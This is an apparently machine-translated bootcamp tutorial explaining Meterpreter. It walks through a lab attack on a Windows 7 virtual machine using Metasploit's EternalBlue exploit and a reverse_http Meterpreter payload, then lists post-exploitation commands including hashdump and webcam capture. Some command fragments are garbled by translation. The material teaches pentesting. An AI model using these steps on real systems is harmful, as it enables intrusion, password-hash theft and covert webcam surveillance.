por ¿Do you know what Meterpreter is? And what is this tool used for in cybersecurity? In this article, we will talk about one of the payloads more powerful and versatile. Next, we will explain what Meterpreter is and how it is used in cybersecurity.
What is a payload?
In cybersecurity, it is known as payload to the malicious code that a hacker executes on a victim’s computer. However, before reaching this point, the cyber attacker must take a series of steps to access the system. To achieve this, there are other phases of the attack, which include recognition of the system, its vulnerabilities and their exploitation.
He payload is a type of software which runs in the post-exploitation phase of the system. That is, after having exploited computer vulnerabilities to gain access to the victim’s machine. A payload It can be developed and executed manually, but there are also open source tools to automate its use.
Metasploit is a framework exploitation which comes pre-installed on the Kali Linux operating system and has thousands of tools for software for pentesting. The functions of its modules range from system recognition to the execution of payloads in the post-exploitation phase.
Through a payloadit’s possible exfiltrate sensitive data from the machine, install malware in it, execute commands remotely and much more.
What is Meterpreter?
Meterpreter is a payload which allows tasks to be executed remotely on a machine. It’s a software It runs at a very low level of the machine, making it quite difficult to detect. Through the payload Meterpreter is possible to connect to the webcam of the compromised computer, to its keyboard, take screenshots and, in short, do anything with it. However, when learning what Meterpreter is, it is important to keep in mind that the software It does not have the same functions or behave the same in all operating systems. The most complete version of this program is Meterpreter for Windows.
How to use Meterpreter with Metasploit?
Now that you know what Meterpreter is, we’ll talk about a method to use it. The following explanation is made for academic purposes. Meterpreter is a payload designed to test the risk level of a computer vulnerability and help increase system security. Using it for malicious purposes is considered black hat hacking.. That is, it is illegal.
For use a payload Meterpreter type with Metasploityou can follow the following process:
First, create two virtual machines on a software of virtualization. One of them that is an outdated version of Windows 7 (i.e., from 2011 or 2012) and the another that has a Kali Linux operating system. To start the Metasploit console, open a terminal in Kali Linux and run the following command: #What is Meterpreter #msfvenom -p android msfconsole
To search for a exploit for Windowsuse the command: #What is Meterpreter search exploit windows If you already know the exploit that you will use, you can also search for it by name. For example, To find the exploit «EternalBlue» executes: search eternalblue When you have chosen the exploitcopy your route and start using it with the «use» commandas follows: use exploit/windows/smb/ms17_010_eternalblue
Metasploit has more than 2,000 exploits from which to choose. For this example, we have chosen a exploit of type EternalBlue for Windows. However, it is not the only one exploit capable of executing a payload Meterpreter, so feel free to experiment with several in your own labs.
Before configuring the exploitto better understand what Meterpreter is and how it is used, we will see how to choose and configure the payload. Use the «search» command to find a payload that fits your needs. For example: #What is Meterpreter search payload windows That way you will find several alternatives to payloads. If you want to choose a Meterpreter type, look for one whose path contains the term «meterpreter«. Then, to use it together with exploitexecute the “set payload” command followed by the path of the payload selected. For example: #meterpreter reverse_tcp set payload windows/x64/meterpreter/reverse_http
Keep in mind that if you do not choose one payloadmetasploit meterpreter will run one by default with the exploit. To know what payload by default it runs a exploituse the command «show options«.
Now before running the exploitit needs to be configured. To know which variables it is mandatory to definerun the command: show options For the exploit EternalBlue that we have chosen, the mandatory data is «LPORT = local port» and «RHOSTS = ip of the victim’s computer. In Metasploit, variables are defined with the set command. That is, to establish their values we would execute the commands: set LPORT 6666 set RHOSTS 192.168.172.128
In this example, the local port has been chosen randomly because it is local. The RHOSTS IP address is that of the Windows 7 machine and, for purposes of the example, we will assume that it is 192.168.172.128.
Finally, to execute the exploit with him payload by Meterpreteruse the command: exploit
After following this process, you will have access to the virtual machine with Windows 7 through Meterpreter. To use the payload inside the machine, we recommend learning the Meterpreter commands.
Meterpreter Commands
The next step in knowing how to use Metepreter is based on understanding the functions of your commands.
To view the entire list of commandsrun the option: help
To run the payload in background and do other tasks in the meantime, use the command: backround
To view your sessions post-exploitation, use: sessions
To access one of themuse the structure: sessions -i 1
To view basic computer information exploited: sysinfo
To view information about your IP addresses:ipconfig
To see all processeswhat user and what file executed them: ps
To view the privilege level with which you are running the payload:getuid
To see a list of webcams connected to the device: webcam_list
To take a snapshot with the webcam: webcam_snap
To watch a live video stream from webcam: webcam_stream
To take a screenshot at that time: screenshot
To view password hash functions from users: hashdump
These are just a few of the most interesting commands to start learning how to use Meterpreter for Windows. In conclusion, it is a payload with very significant scope and, in pentestingallows testing the danger level of a vulnerability.
How to learn more?
If you want to know more about what Meterpreter is and how to use it in ethical hackingin We have a course specially designed for you. Enter our Cybersecurity Full Stack Bootcamp and Pursue your goals by specializing in this area of the IT sector in just 7 months. Sign up now and change your life!